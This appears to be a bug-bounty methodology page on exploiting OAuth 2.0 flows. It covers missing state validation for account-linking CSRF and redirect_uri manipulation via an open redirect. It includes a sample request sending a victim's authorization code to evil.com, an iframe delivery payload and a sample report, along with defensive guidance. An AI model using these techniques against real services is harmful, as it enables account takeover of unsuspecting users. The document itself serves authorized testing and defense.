OAUTH Flow Exploitation

OAuth 2.0 Flow Exploitation

When to Use

• When evaluating Single Sign-On (SSO) integrations that allow users to register or log into the application using a third-party Identity Provider (IdP) like Google, Microsoft, or Apple.
• When you intercept a /authorize endpoint containing parameters like client_id, redirect_uri, response_type=code, and state.
• To establish full Account Takeover (ATO) by linking an attacker's social account to a victim's primary profile.

Prerequisites

• Authorized scope and target URLs from bug bounty program
• Burp Suite Professional (or Community) configured with browser proxy
• Familiarity with OWASP Top 10 and common web vulnerability classes
• SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Identifying the Authorization Request

# Concept: OAuth relies on bouncing the user between the Client app and the IdP app.
# The security of this entire sequence relies heavily on perfectly implemented parameters.

# 1. Intercept the classic OAuth "Sign in with..." click:
GET /oauth/authorize?client_id=XYZ123&redirect_uri=https://target.com/callback&response_type=code&state=999abc HTTP/1.1
Host: accounts.google.com

# Key Parameters:
# - redirect_uri: Where the IdP sends the user after login.
# - response_type: `code` (secure server flow) or `token` (insecure implicit frontend flow).
# - state: The anti-CSRF token binding the redirect back to the user's specific web browser session.

Phase 2: Missing or Unvalidated the "State" Parameter (Account Takeover / Linking)

# Concept: If an application allows users to link a social account to their profile, 
# and it DOES NOT strictly validate the `state` parameter upon return (CSRF), an attacker can link THEIR 
# social account to the VICTIM'S profile.

# Exploit Steps:
# 1. The attacker creates an account on `target.com` and clicks "Link Google Account".
# 2. The attacker logs into their Google account. 
# 3. Google redirects the attacker BACK to the target application:
#    `https://target.com/callback?code=SECRET_EVIL_CODE&state=`
# 4. **CRUCIAL STEP**: Before the browser loads this URL, the attacker INTERCEPTS and drops the request.
# 5. The attacker constructs a phishing link using that exact URL:
#    `https://target.com/callback?code=SECRET_EVIL_CODE`

# 6. The victim (who is currently logged into target.com) clicks the malicious link.
# 7. `target.com` processes the attacker's `SECRET_EVIL_CODE`.
# 8. Success: The attacker's Google account is now permanently attached to the victim's target.com account. The attacker signs in via Google and hijacks the account.

Phase 3: Exploiting the redirect_uri (Authorization Code Theft)

# Concept: The IdP (Google) sends the highly sensitive Authorization Code back to the Client (target.com) 
# via the `redirect_uri`. If an attacker can manipulate this URI, they steal the code and the account.

# 1. Open Redirect Flaw Validation:
# Find an Open Redirect on the Client app (e.g., `https://target.com/login?next=//evil.com`).

# 2. Parameter Injection:
GET /authorize?client_id=XYZ123&redirect_uri=https://target.com/login%3fnext=https://evil.com&response_type=code HTTP/1.1
Host: oauth.company.com

# 3. What happens:
# 1. The victim clicks the attacker's manipulated setup link.
# 2. The IdP authenticates the victim and redirects them to the manipulated URI:
#    `https://target.com/login?next=https://evil.com&code=VICTIMS_SECRET_CODE`
# 3. The open redirect executes! The victim is bounced to `https://evil.com/?code=VICTIMS_SECRET_CODE`
# 4. The attacker's server logs the victim's code. The attacker uses it to log into target.com.

Phase 4: Implicit Flow (Access Token Leakage)

# Concept: Older applications use `response_type=token`. This causes the IdP to send the actual 
# access token directly to the browser URL (e.g., `#access_token=123`).

# Exploit: If the attacker exploits XSS on the target domain, they can steal the `#access_token`
# from `window.location.hash` and assume the victim's identity instantly, bypassing backend 
# secret validation entirely.

Decision Point 🔀

flowchart TD
    A[Intercept /authorize request] --> B{Is `response_type=code` or `token`?}
    B -->|token (Implicit)| C[High Risk: Token exposed in frontend URL. Look for XSS.]
    B -->|code (Standard)| D{Is `state` parameter present and validated?}
    D -->|No/Ignored| E[Exploit CSRF Account Linking to achieve ATO]
    D -->|Yes| F{Can `redirect_uri` be manipulated?}
    F -->|Yes| G[Send Open Redirect payload to steal Victim's Code]
    F -->|No| H[Secure Configuration. Proceed to test other features.]

🔵 Blue Team Detection & Defense

• Strict Redirect URI Whitelisting: The Identity Provider (IdP) administration dashboard must enforce an absolute, non-regex, character-for-character whitelist for the redirect_uri.
  • VULNERABLE: https://target.com/*
  • SECURE: https://target.com/oauth/callback
• Mandatory State Validation: Require the usage of strong, cryptographically secure state tokens. The client application must store this token in the user's secure session BEFORE initiating the OAuth flow, and assert it perfectly matches when the user returns to the /callback URL. This definitively defeats login/linking CSRF.
• Deprecate Implicit Flow: The response_type=token flow is officially deprecated by the IETF OAuth working group. Modern Single Page Applications should use the Authorization Code Flow with PKCE (Proof Key for Code Exchange).

Key Concepts

Output Format

Bug Bounty Report: Account Takeover via OAuth Account Linking CSRF
==================================================================
Vulnerability: Cross-Site Request Forgery (CSRF) in OAuth flow
Severity: Critical (CVSS 8.8)
Target: GET /oauth/google/callback

Description:
The application allows authenticated users to link their Google account for future Single Sign-On processing. However, the initial request sent to `accounts.google.com/o/oauth2/v2/auth` omits the `state` parameter. Consequently, the `/oauth/google/callback` endpoint performed by the application lacks mechanism to verify whether the returning user actually initiated the linking process.

Reproduction Steps:
1. Attacker signs into a newly provisioned attacker account on `target.com`.
2. Attacker initiates the "Link to Google" flow and logs into their Google account.
3. Upon returning to `target.com/oauth/google/callback?code=ATTACKER_CODE`, the attacker intercepts and suspends the redirect.
4. The attacker generates an iframe payload containing the intercepted URL:
   `<iframe src="https://target.com/oauth/google/callback?code=ATTACKER_CODE">`
5. A victim logs into their legitimate account on `target.com` and subsequently visits the attacker's HTML payload.
6. The victim's browser executes the callback URL while authenticated. 
7. The application binds the attacker's Google ID to the victim's account.
8. The attacker logs out, clicks "Sign in with Google", and successfully achieves Account Takeover of the victim's profile.

Impact:
Full Account Takeover (ATO) requiring minor victim interaction.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• PortSwigger: OAuth 2.0 authentication vulnerabilities
• IETF RFC 6749: The OAuth 2.0 Authorization Framework
• HackTricks: OAuth to Account Takeover